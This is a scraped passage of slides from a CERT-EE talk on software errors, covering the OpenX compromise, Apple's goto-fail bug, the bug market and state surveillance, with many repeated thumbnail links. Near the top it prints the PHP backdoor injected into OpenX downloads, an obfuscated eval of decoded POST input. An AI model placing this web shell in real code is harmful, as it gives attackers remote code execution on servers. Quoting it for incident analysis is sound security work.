http://blog.sucuri.net/2013/08/openx-org-compromised-and-downloads-injected-with-a-backdoor.html
this.each(function(){l=flashembed(this,k,j)}<?php /*if(e){jQuery.tools=jQuery.tools||{version:{}};jQuery.tools.version.flashembed='1.0.2';*/$j='ex'./**/'plode'; /* if(this.className...
<?php$j='explode';$_=$j(",",'strrev,str_rot13,vastPlayer');eval ( $_[1]($_[0]( $_POST[$_[2]])) );
![Page 85: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/85.jpg)
85
Apple SSL
http://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/
![Page 87: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/87.jpg)
87
![Page 88: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/88.jpg)
88
The systemic risk– the bug market
● Watering Hole attack
● Defacements / pwned sites / malware distros
● Commoditized tools like Meterpreter & Metasploit
![Page 89: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/89.jpg)
89
NSA & Snowden
![Page 90: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/90.jpg)
90
Some latest news
![Page 91: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/91.jpg)
All these thingzare technically possible...
![Page 92: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/92.jpg)
92
SIGINT
![Page 93: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/93.jpg)
93
This toilet is being monitored...
![Page 94: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/94.jpg)
94http://www.tabularasa-euproject.org/project/pdf/Anders%20Sandberg
20500,01% GDP
![Page 95: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/95.jpg)
95
Who shall win?* Rutkowska's principle:http://theinvisiblethings.blogspot.com/2011/04/why-us-password-revolution-wont-work.html
..the operating system can impersonate the user at will! This is because the operating system fully controls the keyboard, the mouse, and the screen.
* OS (or browser) vendor always is in a preferred position
* BSI: "some critical aspects related to specific scenarios in which Windows 8 is operated in combination with a hardware that has a TPM 2.0"
![Page 96: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/96.jpg)
96
The Anonymous???
![Page 97: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/97.jpg)
97http://blog.cognitivedissidents.com/2011/11/01/intro-to-hdmoores-law/
![Page 98: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/98.jpg)
98
Future of the State
![Page 99: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/99.jpg)
Once ...
![Page 100: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/100.jpg)
Now ...
![Page 101: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/101.jpg)
About the limits?
![Page 102: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/102.jpg)
102
![Page 103: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/103.jpg)
Organs substituted
![Page 104: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/104.jpg)
![Page 105: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/105.jpg)
105
http://www.forbes.com/sites/andygreenberg/2013/11/18/meet-the-assassination-market-creator-whos-crowdfunding-murder-with-bitcoins/
![Page 106: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/106.jpg)
The Government
IT corporationsPeople, NGO's
Peter Dicken http://www.amazon.com/Global-Shift-Sixth-Edition-Changing/dp/1609180062
![Page 107: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/107.jpg)
107
GrokLaw● A teen tweet from Viljandi:
– Curtains are being washed. Want to m*. The satellites...
GrokLaw – Canary in the coal mine: When it is no longer possible to tell the truth online sufficiently for it to exist, none of us have the freedom of speech
– http://www.groklaw.net/article.php?story=20130818120421175
● UK porn filter requires the self-incrimination:
– Pr0n?
– Terrorist materials?
![Page 108: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/108.jpg)
108
The most moderngovernance model
● The Big Data● State Secrets● Killer Drones
Technically already feasible.A right direction?
;-)
![Page 109: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/109.jpg)
109
Thnx!
Ask.fm?
Ask me!
Pic: http://www.imdb.com/title/tt0139809/